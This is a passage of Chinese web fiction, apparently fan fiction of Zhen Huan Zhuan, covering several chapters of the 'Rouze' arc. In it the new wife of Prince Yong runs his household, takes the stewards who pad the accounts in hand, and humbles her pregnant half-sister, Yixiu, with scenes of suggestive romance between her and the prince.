佟嬷嬷也算是孝懿皇后留下的人,但总归不是王府的主子,所以并不过多的插手这些事。 柔则看了一眼胤禛:“怎么?爷这是怕妾身是个银样蜡枪头不成?刚成婚便这般嫌弃,终究是错付了。” 说着,她起身把胤禛往外头拽。 “爷若是觉得妾身没本事,明儿说不得又见旁人绝妙,倒不如如此撂开了手,省得还要费了心思敷衍妾身!” 胤禛被这一大段话说的晕乎乎,他哪里就嫌弃了?不过是一时间习惯了没反应过来罢了。 可看着手臂上那嫩白的小手又不敢使劲儿挣扎,被人半推半拉的,扔出了门外。 回神后又庆幸这屋头的门修的宽敞大气,不至于叫宛宛一手一扇的把他关在门外。 正是对柔则兴致上头时,看她什么样都觉得稀罕。 “这可是污蔑我了,不过是开府这么久了,一直没个管事的,才不得不叫前院看顾着。旁的兄弟十四五就娶了福晋。我不得皇阿玛重视,拖到了现在,所以有些疏忽,宛宛便原谅我这一次。” 柔则第一次见堂堂亲王卖惨,哪里能受得了这一套。 她背着身轻‘哼’了一声:“这么说来,倒显得我斤斤计较了?” 胤禛凑到柔则面前,试探着伸手把人搂在怀里:“怎会?是为夫的疏漏,宛宛何错之有?” 不过是一个简单的拥抱,胤禛的大手便有些不老实。 柔则‘拍’掉胤禛手,似笑非笑的瞪了他一眼:“登徒子”。 胤禛摸了摸鼻子没有反驳,为了防止自己靠近柔则就满脑子旖旎,转个身出去叫苏培盛整理府外的进项。 不过半日,这些账本子便如数出现在了柔则面前。 “喜嬷嬷先瞧瞧,有问题的给我记下。” 她可不是那傻乎乎自己拨弄算盘的勤劳打工人,喜嬷嬷一家都在额娘手里,又是从小在觉罗氏族里长大的,可靠的很。 “诶,奴婢定不会落下一处错漏,福晋您先歇着。” 对于喜嬷嬷来说,能得主子的重视和重用才是自己有价值的体现,精神抖擞的打着算盘,把这雍亲王府的一砖一瓦都记在心里。 “扈嬷嬷把嫁妆整理一下,这正院还是小了些,住着局促。” 正院抛去下人的屋子有前后两间正房,各配了两间东西配殿。被纳入正院的两个小院合并成了小库房,就这摆放觉罗氏给柔则准备的嫁妆也有些紧凑。 “听苏公公说,这正院还单门给福晋扩大了不少呢。只是王爷听闻福晋喜花,所以大部分地方都用做了花园和凉亭假山等景儿,所以房间就显得少了些。” 云筝没有跟着柔则请安,倒是在府里头散了一笔银子,收集了不少消息。 “也罢,明儿个你和欢卿带着人把后头的几间房给我布置出来。把我那琴和筝都摆好。” 柔则看了看自己红色的指甲,转头看着立着的兰舒:“明儿把我那好妹妹也叫来,眼瞧着她那姨娘学了十几年的妾室规矩还这般没有眼色,本福晋啊,得帮她好好认清自己的地位呢。” 兰舒这名字听着温婉,其实是个再利索不过的武娘子。宜修身边的剪秋绘春四人在她手里都受过“爱的教育”,其威慑力比扈嬷嬷喜嬷嬷两人要大的多。 “这可是侧福晋的福气,咱们福晋就是心善,要奴婢说,这般脑子不清醒的,打死了都不多。” 月瑾是六个婢女年龄最小的,也是行事最像觉罗氏的。 柔则虚虚点了点她:“泼猴,本福晋是这般粗鲁的人吗?罚你写十页大字,明儿交给我。” 身边的人不仅识字,柔则还专门找人教过她们写字读书。 “奴婢错了,罚奴婢给福晋炖上一盅琼玉七禾养身汤吧,若是写大字耽误了福晋的身子,奴婢可真是万死难容啊!” 月瑾的唱念做打成功博了自家主子一笑,但却没有被免了写字的惩罚。 第二日一早,不过卯时。 “侧福晋来了,福晋和王爷还睡着,您先在外堂候一会儿吧。” 说话的是胤禛特意给柔则的婢女芳若,柔则才不舍得折腾自己的丫鬟起这么早呢。 宜修就那么直挺挺的坐着,她不敢喝正院的茶水,也不敢吃桌子上的点心,就这么硬扛着,一直到巳时,正院的下人才有了动静。 昨晚照着避火图玩的花样有些多的夫妻俩完全忘了外头的宜修,磨磨蹭蹭好半晌才出了寝室那道门槛。 “可是等久了?正巧本福晋也饿了,妹妹便,服侍本福晋用膳吧。” 宜修带着希冀的看了一眼一旁落座的王爷,胤禛不解,并催促:“你快着些,福晋体弱,不能饿着肚子。” 妾室的职责就是服侍两位主子,胤禛不觉得柔则哪里做的过分。 更何况,这雍亲王府有格格有侍妾,宛宛只叫了宜修来,说明她做的不够好,宛宛不满意。 左右是一个可有可无的侧福晋,胤禛并不在乎宜修本人的想法。 宜修只能照办,本以为今日的磋磨就在早膳后到此为止,没想到兰舒出来带着她和剪秋主仆俩又到了后头的正房。 “福晋说侧福晋在府里时最爱观察福晋的用度,想来是比咱们更能了解福晋的喜好。今儿便劳烦侧福晋,帮着奴婢们一同把这琴房布置出来了。” 宜修笑不出来,她闭着眼都知道柔则的琴房放了什么,这活儿她是真的很擅长。 第242 章 柔则11 婚后第三日为归宁,胤禛一早便比对着直郡王曾经的回礼规格准备好了归宁礼。 “这金线密织穿宝石珠子做的绒花就是精致,爷今儿回来,便再多画些样子吧?妾身记得库房里有几块颜色透亮的昆吾石,若是能打磨成豆子大小,镶嵌在指甲上,应当是极为漂亮的。” 昆吾石便是钻石,通过朝贡贸易等途径由东南亚和印度等地传入进来。 不过现在的加工工艺简单,多用于皇室器物装饰或者佛教的法器。因为其坚固又稀少,所有流通并不广泛。 身为皇子,胤禛手里也是有不少简单打磨过的昆吾石的。只是他觉得这些玩意儿不如玉器宝石的可塑性高,便一直在库房放着积灰。 “你喜欢就给你,若是不够,我再去十三弟那儿要些。” 虽说昆吾石难得,但他们皇子手里还是有些存货的。 柔则笑着勾了勾手指,胤禛不由得把身子靠近。 她捏了捏胤禛的耳垂,细长的手指顺着下颚线划到喉结处。 指尖微微用力,就听得胤禛粗重的喘息。 柔则凑近,红唇在胤禛的眼前张合:“多谢夫君,妾身,十分欢喜。” 被放慢的语调和因着常年用着息肌丸格外含着香气的唇齿,让胤禛的脑子一秒变成浆糊。 他顺着男人的本能想要搂住身前人的纤腰,却只抓住一个还带着香味儿的帕子。 “快着些吧王爷,今儿可耽误不得。” 胤禛看了眼躁动的自己,端起一旁冷掉的茶水一饮而尽,再三深呼吸,才恢复了冰山脸走了出去。 觉罗氏一早就在门口等着了,她派着小厮一趟趟的在路口查看。 “可是福晋回来了?” 看见小厮的身影觉罗氏就要问上一句。 小厮扯着笑脸回了一句并未,觉罗氏脸上的笑容瞬间消失不见。 “再去看看。” 冷酷无情的福晋,累成狗的小厮和一旁跃跃欲试的族亲。 都是沾亲带故的亲戚,还有觉罗氏本家的人来撑场面,前儿个雍亲王夫妇携重赏回府一事,早就在他们这些红带子中传遍了。 大家都以为皇上是因着耽误了雍亲王的婚事有愧疚,所以弥补了颇多。而德妃那里,则是有连宗之由,给大侄女准备的赏赐厚上两分,也无可厚非。 但实际上,皇上虽做不出抢夺儿媳的蠢事,却为了表达自己的见色起意之情,所以加了赏。 而德妃则是碍于小儿子的唠叨,用钱堵住小儿子时刻盯着他四哥府上的眼睛罢了。 至于太后,一向是跟着皇上的意思走,再加上她是个有钱的,柔则能陪着她说两句话,太后就愿意亲近些。 有这样的造化,谁还记得当初对觉罗氏这个当家福晋多有嫌弃的时候呢?大家选择性的遗忘了觉罗氏的所作所为。 至于雍亲王福晋会不会被觉罗氏教坏?这点大家还是放心的,毕竟嫁入皇家,觉罗氏那点手段简直不值一提。 就这么眼巴巴的等着,带着雍亲王府标志的马车终于到了大家跟前。 “奴才给雍亲王请安,给雍亲王福晋请安。” 曾经的乌拉那拉府邸因着泼辣的觉罗氏虽不至于门庭冷清,但也不是热热闹闹。 如今倒是人头攒动,认识的不认识的亲戚齐聚一堂。 胤禛扶着柔则下了马车,觉罗氏的嘴角就没下来过。 她说什么来着,没有男人能拒绝她的乖宝的魅力! “爷先去跟大伯他们说话,妾身想歇一会儿。” 新婚三天就没有闲着的夜晚,更别说柔则本来就是个惫懒的性子,能躺着绝不坐着。 “知道了,宛宛先休息会儿。” 纳宜修的时候,乌拉那拉氏除了送了嫁妆和一些小辈来观礼,哪里享受过姻亲带来的力量? 如今看着围绕在身边的,甚至还有叶赫那拉揆叙,如今的工部侍郎,也是那拉明珠的儿子。 明珠一脉向来是立场鲜明的支持直亲王胤禔的,但揆叙的外祖家,却是跟乌拉那拉连着亲,所以揆叙出现在这里并不突兀。 这就是姻亲,也是康熙最乐意看到的局面。 至于直亲王生不生气?那倒是不至于,他福晋家里沾亲带故的还能连上佟佳氏的关系,满人向来注重血统,至于主力在谁身上,族里还不至于摸不清方向。 而柔则那里就显得热闹的多,各种夸奖和恭维的言语比齐格格的词汇量多太多,柔则喜欢听。 “倒是麻烦各位长辈们走这一遭,等空了,约着姐妹们一起吃吃茶,都是一家人,哪里就见外了呢。” 这话听的这些福晋们心里头舒坦,她们也笑着应了下来。 “那感情好,有福晋看着,奴才家里那皮猴子能学着福晋两分娴静,奴才就烧高香了。” 柔则掩着嘴笑了笑,看着那位福晋很快对上了名号:“舒舒妹妹心性单纯活泼,伯母也太严厉了些。” 见柔则能准确的说出每个人的夫家和家中的嫡女嫡子,这些人都松了口气。 觉罗氏为人虽然蠢笨刻薄了点,好歹女儿是教好了,也算她大功一件。 “福晋说的正是这个理呢,奴才们在福晋大婚时不好凑上去影响了流程,这不今日,给福晋带了些玩意儿,福晋看看,可还喜欢?” 柔则顺着声音看过去,是方佳氏。也是乌拉那拉常素保的孙媳妇。 乌拉那拉常素保听着不耳熟,但宫里的乌拉那拉贵人大家应该有所了解。康熙十六年进宫,生下皇十女固伦纯悫公主的通嫔,是不是就想起来了。 通嫔便是常素保的嫡女。 和费扬古的乌兰那拉家连着不少亲,自然不会放过这个机会。 “岂有不喜欢的,礼物贵重,心意更是贵重了。” 柔则笑着和亲戚们唠了会儿嗑,得了不少新鲜的家长里短,这才到了用膳的时候。 吃完了饭,亲戚识趣的离开,留柔则窝在觉罗氏怀里安稳的腻歪着。 觉罗氏摸了摸柔则的小脸,又捡着吃穿用度事无巨细的向喜嬷嬷和扈嬷嬷打听着。 “还好还好,最起码过的舒心。” 虽然只是三日,觉罗氏每晚都能梦到她的乖宝含着眼泪说自己过的不好的噩梦。 又是想着柔则不是个心狠手辣的,偏雍亲王府还有一个跟柳姨娘同心同德拎不清的宜修,觉罗氏就觉得女儿受了苦。 正安慰着,胤禛走了进来。 觉罗氏似是找到了能吐槽的人,对着这个可以称得上女婿的人好一顿吐苦水。 虽然都带了些夸张,但并没有太过歪曲事实。 那位柳姨娘是真的爱装柔弱又爱争宠,事事都要比着她这个福晋的吃穿用度,但凡发下去的料子,没有她一个喜欢的。 还总说府里头就两个格格,为什么宜修穿的不如柔则好。 这不是明摆着吗?费扬古偶尔补贴她懒得看就算了,舞到她面前,是当她这个当家的福晋是吃干饭的吗? 罚了,她说自己命苦。 不罚,天天恶心人。 觉罗氏现在只希望宜修没有继承柳姨娘的脑子,不然这日子可真是没法过。 胤禛看了一眼柔则:继承了吗?好像是继承了。 柔则点头:继承了,日日盯着她的日子,像个偷窥狂。 (历史上的雍亲王福晋确实有三个哥哥一个弟弟,但是甄嬛传看下来,他们乌拉那拉家只提到过一个柔则一个宜修,所以这里就当他们家没有兄弟吧。主要是前面忘写了,嘿嘿。) 第243 章 柔则12 归宁回府,也象征着胤禛的婚假结束,要开启牛马的生活。 柔则回到雍亲王府,门房送来了一张桃花笺。 “可是大嫂那里送来的?” 这胤禛很熟悉,每每他们兄弟成婚有了福晋,身为老大的大嫂便会组织一场小宴,目的是叫妯娌们互相认识熟悉。 “是了,直亲王府的戳。” 这些阿哥里,只有胤禛娶妻最晚,大家对这位雍亲王福晋也是好奇的很。 胤禛点了点头,又带着柔则去自己的小私库挑了一副以点翠为主的头面,这才依依不舍的自己回到前院书房处理积攒的事务。 靠在特制的软榻上,身后有揉肩的前头有捶腿的,两只手有同时负责做保养的。柔则闭着眼,静静的听着喜嬷嬷对于雍亲王府的铺子和庄子的进项总结。 “明儿正好有空,喜嬷嬷陪我出去看看,这账面倒是好看的很,呵。” 柔则不喜欢管事,但也不喜欢底下的奴才糊弄她。 喜嬷嬷说完扈嬷嬷说,这府里的管家是乌雅氏,内里贪墨有多严重不用多说了吧? “真是有趣儿。” 柔则对这些奴才的烂账并不感兴趣,但是动了她的利益,那可不太行呢。 “明儿早叫来我瞅瞅,是长了三只眼睛还是两张嘴,地位不高胆子倒不小。” 扈嬷嬷应了是,又想到了这几日每天都来报到的宜修。 “明儿个,还叫侧福晋来侍奉吗?” 柔则动了动手指,云筝把放着金瓜子的金钵放到了她手边。 她抓起一把随意的张开手,任由金瓜子顺着手腕落下去,享受着丝滑的清凉感。 “算了,看够她那张脸了。不过也别闲着,王爷不是说芳若是内务府出来的宫女,便叫她去同宜院盯着,务必叫我这个好妹妹,把规矩学会了。” 各自处理完手里那摊子事,两口子躺在床上各自有各自的思量。胤禛虽还有心思胡闹,但柔则用脚丫顶住了他的胸口。 “爷,妾身想睡了。” 她今日不想玩儿成年人的游戏了,想安安静静的睡觉。 胤禛捏着柔则的脚腕,送到嘴边亲了亲。 “睡吧,爷不闹你。” 柔则得寸进尺的用脚趾头点了点胤禛的嘴唇,瞧着胤禛的神情,展颜一笑。 就在胤禛以为柔则有所松动时,柔则趁着他不注意,收回了腿,利索的躺回自己的被窝,一闭眼摆出了入睡的准备。 木愣的跪在床上的胤禛缓过神,弯腰想要亲一口柔则时,那小脑袋快速缩回被窝。 “爷,亲了脚丫就不能亲嘴了。” 胤禛气的发笑,合着这脚丫子叫他吃可以,自己沾上一丁点都不行? 可他又实在没办法勉强,只好自己躺平。 也搭着这三日放纵的狠了些,闭上眼就睡着了。 等到再次睁眼,身边的床榻已经失去了温度。 柔则起身用了早膳,在正房见了府里的管家乌雅氏和两位副管家张佳氏和徐氏。 “你们这账本倒是做的漂亮,怕是费了不少心思吧?” 三位管家身前各摆着一本账本,其中做了手脚的地方有一道不甚明显的指甲的掐痕。 “奴才冤枉啊,福晋。” 做了这么多年假账,早就练就了一副面不改色的黑心肠,自然不会轻易招认。 柔则也不恼,也不想拿证据跟他们掰扯。 “乌鸡胡同一十八号,大碗胡同一十三号,帽儿胡同三十七号。” 三位管家听到这三处私宅,就知道自己差不多到头了。 “奴才有罪,请福晋责罚。” 狡兔三窟,有钱变坏,亘古不变的道理。 这三个地方藏了这三位的私生子和转移的财产账本。福晋既然能挖出来,其中的人和钱财应当是已经被困住了。 与其垂死挣扎,不如了当的认了罪,说不得还能给儿子争取一条活路。 奴才当的时间长了,自然有自己的生存理论。 “罚?” 柔则笑了笑,手指轻轻敲了敲桌子,表情意味深长。 乌雅氏流着冷汗,被屋外头的小风一吹脑子一激灵。 “是奴才们嘴笨,奴才说错话了。福晋不过是问问账本,是奴才们活儿干的不精致,奴才们自请罚例银一年,为奴才的过失赎罪。” 聪明人说话就是简单,这个乌雅氏倒是个人才。 “既然知错了,那本福晋就放了你们这一码,今后......” 她的语气慢悠悠的拖长,被两位嬷嬷六位婢女,还有两个壮硕的太监盯着,三位管家十分快速的说道:“今后定为福晋马首是瞻,再有下次,亲自送上例银请罪。” 柔则点了点头:“好了,下去吧。” 好心情的拨弄了一下手上的护甲,简简单单,又是赚钱的一天。 “福晋,马车准备好了。” 喜嬷嬷瞧见了前院的小路子,今儿说好了去铺子看看,见管事倒没有耽误多少时间。 “那便走吧。” 去瞧瞧今天另一处的“收成”。 柔则刚到门口,就听到旁边的铺子传来一声“四嫂”! 她扭头看去,原来隔壁就是九阿哥胤禟的店。 “今儿倒是巧了,九弟也来铺子转转?” 她站在原地,只见胤禟三步并做两步上前:“既然四嫂在,不如给弟弟个面子,一起去铺子里用着吃食?” 胤禟的五官完全随了宜妃,面如冠玉,唇红齿白。再加上肤色也白,以往最讨厌的就是别人说他好看。 为了摆脱自己有些阴柔的长相,胤禟硬生生把自己吃成一个胖子。 可偏偏,他又是个喜好美色的,柔则的音容相貌对于他而言,便是镜花水月。 况且,这又是他最不待见的老四的福晋。即便是为了给老四添堵,胤禟也会积极向上的。 “今儿可不巧了,我这是要去铺子盘账呢。改日吧,九弟。” 胤禟心眼子多归多,但他本就被排出了夺嫡的范围,行事也逐渐张狂,眼底的那点子弯弯绕绕更是没想着隐藏。 柔则不介意逗弄胤禟玩玩儿,但前提是不能触及自己的利益。 胤禟再次上前一步,拉近了柔则的距离:“四嫂可用弟弟帮忙?四哥也真是的,也不知道陪着四嫂一起。” 柔则笑了笑,眼底有一丝嫌弃闪过。 “九弟却是体贴,只是这铺子小,怕是容不下九弟这大佛呢。” 胤禟本想生气,但瞥见柔则的笑脸又咽了回去。 “今日不得空便改日,弟弟别的不行管理铺子还是有一手的。若是四嫂有需要帮忙的,尽管说。” 柔则站在台阶上,眼神里带了高高在上的扫量:“是吗?还以为九弟的铺子入不敷出,不然也不至于弄个空心的观音当贺礼。” 说完,她甩了甩手里的帕子:“先走一步了九弟。” 胤禟被柔则看小垃圾一样的眼神激的满身怒火。他本来是不想便宜老四那个狗东西特意挑的面子货。没想到却成为他被嘲笑的铁证! 一秒回收面对柔则的笑脸,胤禟阴着脸往十阿哥府上走。 至于柔则,扔给掌柜的一把金锁,今日的任务就算顺利的完成。 对待这些奴才,直接拿了他们最重要的家人捏着,事情就会简单很多。摆事实讲道理是最麻烦的过程,柔则做不来。 (有点晚了,天热一直气短,不知道是什么臭毛病,耽误了会儿。) 第244 章 柔则13 春日的日头越发得明媚,柔则以驱寒气为由,拉着胤禛到京郊的庄子上小住了几日。 这地儿原是觉罗氏的陪嫁,因着临山又凿出了温泉水,便送与柔则养身子用。 但原来的院落并不算大,周边的几个小庄子便被觉罗氏高价买了下来,一并修整了,给柔则宽宽敞敞的住着。 这最巧的一宗,便是这名为枕霞园的庄子东头,紧邻的一处院墙,便是九阿哥胤禟的地界儿。 不过胤禟这庄子来路算不得清白,当初这片子地方发现了温泉,胤禟买卖不成便抢占,跟他做生意的手段如出一辙,肮脏又龌龊。 “今儿府里送信儿,我那好妹妹有了三个月的身孕,爷可要回去看看?” 也难为宜修,小心谨慎的瞒了三个月才放出消息。 可惜她不知道的是,柔则比她本人都要早知道有孕的事情。 至于为什么不说,自然是为了欣赏宜修为了隐瞒孕信那战战兢兢,草木皆兵的表演了。 不得不说,这戏码很得柔则的心意,每每看着宜修下意识的摸肚子又防备着四处警惕的表情,比戏台子上的名伶都要有趣儿。 胤禛跪坐在柔则下首的台阶上,被柔则用一根丝带拉起的脑袋微微靠近那双光洁莹白的小腿。 “有府医在,我又不会治病。” 柔则满意的笑了笑,她弯了弯腰,潮湿松垮的衣领露出里头桃红色的肚兜。 “可若是个儿子呢?爷难道不喜欢吗?” 手指微微用力,被束缚住的胤禛便被动的跌在了地上,眼前似有白光一闪,那只系着金玲的脚便踩在了胤禛的肩头。 胤禛没有挣扎,他只是抬起头,不经意的看到了裙底下的风景,呼吸越来越粗重。 “只喜欢宛宛的儿子。” 柔则嘻嘻哈哈的笑着踩了踩胤禛光裸的上半身,修剪圆润的指甲在胸膛划过,叫他不知是该看风景还是感受自己身体的微妙的变化。 闹够了,柔则拽着胤禛滑入温泉池子里,她轻轻一推,胤禛便随着力道倒在了后头的白玉台阶上。 柔则欺身上前,用刚刚那根绑着胤禛脖颈的红色丝带又罩住了他的眼睛。 随后靠近胤禛喉结处蹭了蹭:“可是有孕太辛苦了,还会变丑,夫君难道不心疼宛宛了吗?” 她的声音低低,却带了奇异的腔调,似是海妖的诱惑,叫胤禛越发沉沦。 意识随着柔则的靠近变的模糊,他含糊着双手撑着身子向后仰头,嘴里又跟着柔则的话继续说道:“心疼,宛宛不喜欢便不生。” 柔则用嘴巴摘下蒙在胤禛眼睛上的丝带,不等他开口,又把这丝带固定在了胤禛微张的嘴上。 “可若是宛宛没有孩子,皇阿玛会不会生气?” 她那有些尖利的手指甲轻轻划拉着胤禛的耳垂和脖子,虽然说的苦恼,但表情却没有担心的意思。 “不,不会。” 胤禛说的有些艰难,他的脑子实在有些转不过来弯了。 柔则这才松开对胤禛的桎梏,两个人没羞没臊的闹了两个时辰才叫人收拾。 清醒后的胤禛神色带了些复杂,但更多的是意料之中的了然。 “宛宛不想生孩子?” 柔则看着指甲上精美的昆吾石装饰,随意的点了点头:“是啊,爷不喜欢宛宛了吗?” 她甚至都没有看胤禛一眼,胤禛便自我脑补了柔则委屈的表情。 他声音轻了又轻,温温柔柔的说道:“怎会?生育向来是辛苦危险的,宛宛不生便不生吧。今后瞧着哪个孩子顺眼,抱在名下养着也就是了。” “爷可要记好了,若是明儿个得了新人把妾身抛在脑后,妾身便扛了锄头,把自个儿埋起来算了。” 胤禛凑上前给柔则插了一根玉簪,和镜子里的人对上视线:“竟说混话,宛宛不如剜了我的心。” 柔则没有说话,她把桌子上的眉笔塞到胤禛手里:“上次爷画的远山黛不错,今儿奖励爷换个花样。” “多谢福晋给本王这个机会了。” 胤禛抱了抱双手,作怪的行了一礼。 夫妻俩正腻歪着,外头的苏培盛传话来,隔壁的九阿哥来做客了。 胤禛愣了一下,凭着多年八方不动的定力把手下那道弯眉描绘完成,才开口道:“叫他去前头等着。” 胤禛和九阿哥的关系,就好比硝石遇到硫磺,三两句就能凑齐一个木炭,从而爆炸。 所以今日胤禟无缘无故登门,在胤禛眼里无异于大清要亡那般惊恐。 “老九居然会来,想来没什么好事。” 胤禛不紧不慢的给柔则戴好了项链,才独自往前院走去。 胤禟看见胤禛的身影挑了挑眉:“老四你这面泛桃花的,也是叫你享受上了。” 胤禛充耳不闻,他就知道老九不会有什么正经事的。 坐在上首的胤禛端着茶喝了两口,在胤禟进门的第十二句话后,才开口道:“你倒是稀客?今儿到底有何事?” 他们两个人居然能私下里单独坐在一个屋子里,这简直是天方夜谭。 胤禟这时候闭了嘴,兄弟俩在前院上演了一出默剧,只是苦了两人身边伺候的人,看不懂自家主子的套路,也看不懂对家主子的套路,奴才的生涯遭到了有史以来最大的打击。 一直捱到了晚膳的时辰,胤禛颇有些不耐烦的放下手里的杯子:“你到底想要如何?爷没空和你在这里耗着。” 明儿就得回府,难得和宛宛出来玩儿的美好时光就这么被消磨了一下午。 “既然晚了,爷就勉强用个膳再走,老四不会连一顿饭都舍不得吧?” 看着胤禟欠揍的胖脸,胤禛捏了捏拳头深吸了口气。 “四哥自然少不了你一顿饭。” 胤禟收回了笑容,谁承认他是哥了? “爷,福晋准备了晚膳。” 苏培盛猫着腰进来,在心里感谢福晋打破了里头要死不活的气氛。 “既然四嫂准备好了晚膳,爷也不要辜负了四嫂。” 说着,胤禟自顾自的往外走,甚至还顺手扯住苏培盛的辫子:“带路”。 胤禛:合着你醉翁之意在这儿呢! 他冷哼一声,虽然对于胤禟觊觎自己的福晋有不痛快,但他也并不太把胤禟当回事。这人脑子是有,但不多,待会儿用老八引引话头,人就自觉的离开了,战斗力不值一提。 而胤禟听到胤禩确实有了一瞬间的心动,但是看着胤禛眼里那有些得意的神情,他咬咬牙忍了下来。 四嫂确实美,八哥也确实重要,但能给老四添堵,才是胤禟的快乐源泉! 第245 章 柔则14 雍亲王府。 “妹妹的身子可好?本福晋记着前两个月妹妹就有些嗜酸,也难为妹妹存到现在才报了喜了。” 回府第二日便是初一,正是请安的日子。柔则看着宜修那脸色从炫耀,得意到不可置信,只觉得心里的恶趣味得到了满足。 “只是口味有些变化,妾身第一次有孕,所以并非有意......” 宜修狡辩的话还未说完,就被柔则的抬起的手打断。 “这话也辛苦你那没什么用的脑子编排了。你站的地界儿是雍亲王府的正院,这府里头的大事小情,就没有能逃过本福晋的眼睛的。不过是有了身孕,藏头畏尾的样子着实可笑。” 宜修想要反驳,但对上柔则那清棱棱的眸子失了声音。 “你们呢,就是太不把本福晋的话当一回事了。” 柔则的声音冷了下来,手里的粉彩茶盏也摔到了地上。 “福晋息怒。” 宜修带头跪在地上,她的心砰砰直跳,不明白柔则到底想干什么。 有孕瞒一瞒难道不正常吗?姨娘是这么嘱咐她的啊!若是被福晋知道,这个孩子能不能保的住还未可知,她哪里做错了? “奴才秧子教出来的女儿果然眼皮子浅。以为自己看了两本医书就能为所欲为了?若是腹中的皇嗣有一丁点疏漏,你可担得起这个责任?” 柔则向来是清冷的,但她的疏离并没有叫齐格格和宋格格觉得难受,反而是这样的当家主母高高在上才更有安全感。 高高在上的人要么就是平等的看不起每一个地位不如她的,要么就是平等的弄死每一个不如她的。 显然,这位福晋是第一种类型。 且两位都是家里的嫡女,受过的教导自然和宜修不同,眼界也不同。 此时的宋格格瞧着柔则不耐烦的神情赶忙开口:“福晋,妾身小日子有四五日未来,只是还未到府医请平安脉的日子,所以有些拿不住。” 柔则看了一眼宋格格:“起来吧,正巧一会儿太医过来,顺手给你搭个脉。” 宋格格谢恩起身,心里对自己赌对了的行为感到开心。 而此时的宜修却不怎么开心。 请太医?柔则竟然会给她们请太医?她难道不应该神不知鬼不觉的把她们肚子里的胎打掉吗? “都起来,从今儿起,侧福晋乌拉那拉氏的份例和生产全权交给你自己负责。若是能说动王爷,本福晋不拦着,若是说不动,宜修,你知道后果的。” 宜修更没有想到,嫡姐竟然真的不管她了。 “妾身知错,王爷日理万机,福晋可否原谅妾身一次。” 扈嬷嬷上前把宜修摁在椅子上,表情带着嫌弃:“侧福晋,咱们福晋第一次请安就说的清楚,您既然明知故犯,就不要怪福晋不讲情面。这偌大个亲王府,咱们福晋也是要公事公办方能服众啊!” 宜修心里满是茫然,王爷?她能指望的上王爷吗?一定能的!她肚子里可是雍亲王府的大阿哥,王爷定会为她做主! 洗脑了自己,宜修再次恢复底气。 太医入府,给宜修和宋格格搭了搭脉。 “侧福晋有孕三月余,脉力有些杂乱,应是吃了什么药物所致。” 柔则挑了挑眉,嘲讽的看了一眼宜修。 府里头的争斗不比宫里头的简单,老太医虽然有些发现,但并未说出口。 到宋格格时,老太医的眉头明显皱的紧了些。 “这位格格脉象虚浮,身子自上次生产后并未调理得当。又因着大悲情绪起伏较大,所以孕相并不算太好。” 宋格格眼眶红红,她张了张嘴,又知道自己的身份卑微,眼底带着些小心翼翼的祈求看着柔则。 “那便请太医开了方子给宋格格调理着吧。” 不过是一句话的事,太医都请了还在乎这点小事情吗? 宜修的事到底还是被挪到了前院胤禛的手里,不过他可没有那个耐心月月问上一句,至于到底过的好不好,就只有宜修本人知道了。 “剪秋,你说爷会过来吗?” 宜修眼巴巴的看着前院的方向,一手摸着肚子,一手撑在门框上。 “侧福晋有孕是大喜事,王爷一定会来的。” 主仆俩在同宜院等啊等,饭菜热了一遍又一遍,才看到胤禛的身影。 “王爷。” 宜修激动的上前,只是久站有些酸麻的双脚叫她一个踉跄,差点摔倒在地上。 “怎么如此不小心,有孕在身就警醒着些,一切以腹中的孩子为重。” 胤禛没有跟宜修谈情说爱的想法,自然语气也有些苛刻和生硬。 宜修脸上的笑意被掩下去,她强撑着嘴角行了一礼:“给王爷请安。” 胤禛皱了皱眉头,都这个节骨眼了,一次两次的他也不会计较这些小节。宜修就是太刻板了,瞧着心情都差了些。 “起来吧,你有孕,不必在乎这些虚礼。” 他本是好心,虽然说的并不算真诚,但到底也算个人话。 可宜修却听不懂:“礼不可废,妾身身为侧福晋,定要以身作则才好。” 胤禛自嘴角拉平后,眼神也恢复了冷漠。 “宛宛是你嫡姐,有孕后你不想着第一时间告知于福晋,反而隐瞒到现在。福晋虽不与你计较,但规矩就是规矩,前院从没有负责妾室的人手,爷嘱咐了徐副管家,有事叫你院子里的人去找他就是了。” “是妾身思虑不周,劳烦王爷费心了。” 虽然和宜修预料中的不同,但在她那点子上不得台面的算计里,能得胤禛的吩咐,叫徐副管家负责她今后的衣食住行,那定是比在柔则手下要痛快的多。 拿捏了徐副管家的双胞胎儿子和私吞银钱的账本的柔则:你开心就好。 胤禛点了点头,在他看来,宜修确实是很麻烦。 “你既知道,便不可再犯。宛宛虽然瞧不上你,但也不至于用那些弯弯绕绕来苛待你,她不屑于此。” 枕边人的性子,胤禛自认还是能摸透的。宛宛是乌拉那拉家金尊玉贵长大的格格,觉罗氏宠爱女儿的壮行世家皆有所了解。 况且宛宛不过是促狭,那些小手段不伤筋不动骨的,也不知道宜修还有什么不满。 宜修不知道胤禛所想,不然定要气的动了胎气。 “是,妾身知道了。” 一句‘瞧不上你’叫宜修的心口仿佛被扎了刀子一样疼。 “好了,你好好歇着,爷去看看宋格格。” 相比较而言,宋格格就有眼力见的多,胤禛还算满意。 宜修连忙起身拉住胤禛的衣袖:“爷不用膳了吗?” “爷又没说来用膳,你不会现在还未用膳吧?” 看着宜修的表情,胤禛闭了闭眼,企图让自己看起来不那么狰狞。 “胡闹!你有身子,又没有接到信儿,便这般拿肚子里的孩子不当回事吗?” 还是没忍住,胤禛是真的觉得宜修的脑子是不是坏掉了。 他去哪里用膳都会提前通知,宜修这干等着做给谁看? 倒是叫她自己感动的两眼泪汪汪,好像有病似的。 “妾身只是想着昨儿王爷回府,今儿想必会来看看。” 宜修自认自己有孩子,说不得还是个小阿哥,胤禛一定会来。 “糊涂东西。” 胤禛一甩手看到了立在一旁的芳若,那是宛宛给宜修教规矩的。 “今儿起,芳若便监督着侧福晋按时用膳,若有问题,及时来报。” 说完,胤禛便大步离开。 宜修跌在椅子上黯然神伤,却不知芳若已经端起了热过四五次的饭菜,准备填进她的嘴里。 “侧福晋这是对爷的命令有异议?” 遭到了拒绝的芳若搬出了胤禛。 宜修只能妥协。 不过,虽然心理上受些折磨,好歹饭吃下去了,绝对不会饿着孩子。 第246 章 柔则15 十里街的玉兰正盛时,自直亲王福晋到十四福晋都收到了柔则的金花赏春笺。 虽然自家爷们各自有各自的立场,但妯娌之间的小聚大部分还算和谐。 “四嫂今儿可是费了心思,瞧瞧这长街的清净,可比前几日吵吵嚷嚷的舒坦多了。” 八福晋郭络罗氏坐在百花亭里,端着一盏清亮的花茶,松快的靠在椅背上。从府里的杂事挣脱,看一看这美好的春光,紧绷的头皮都松快了。 十里街的春光在京城是出了名儿的漂亮,只是地方不大,每段的街景不同,是达官贵胄的格格小姐们最爱来的地方。 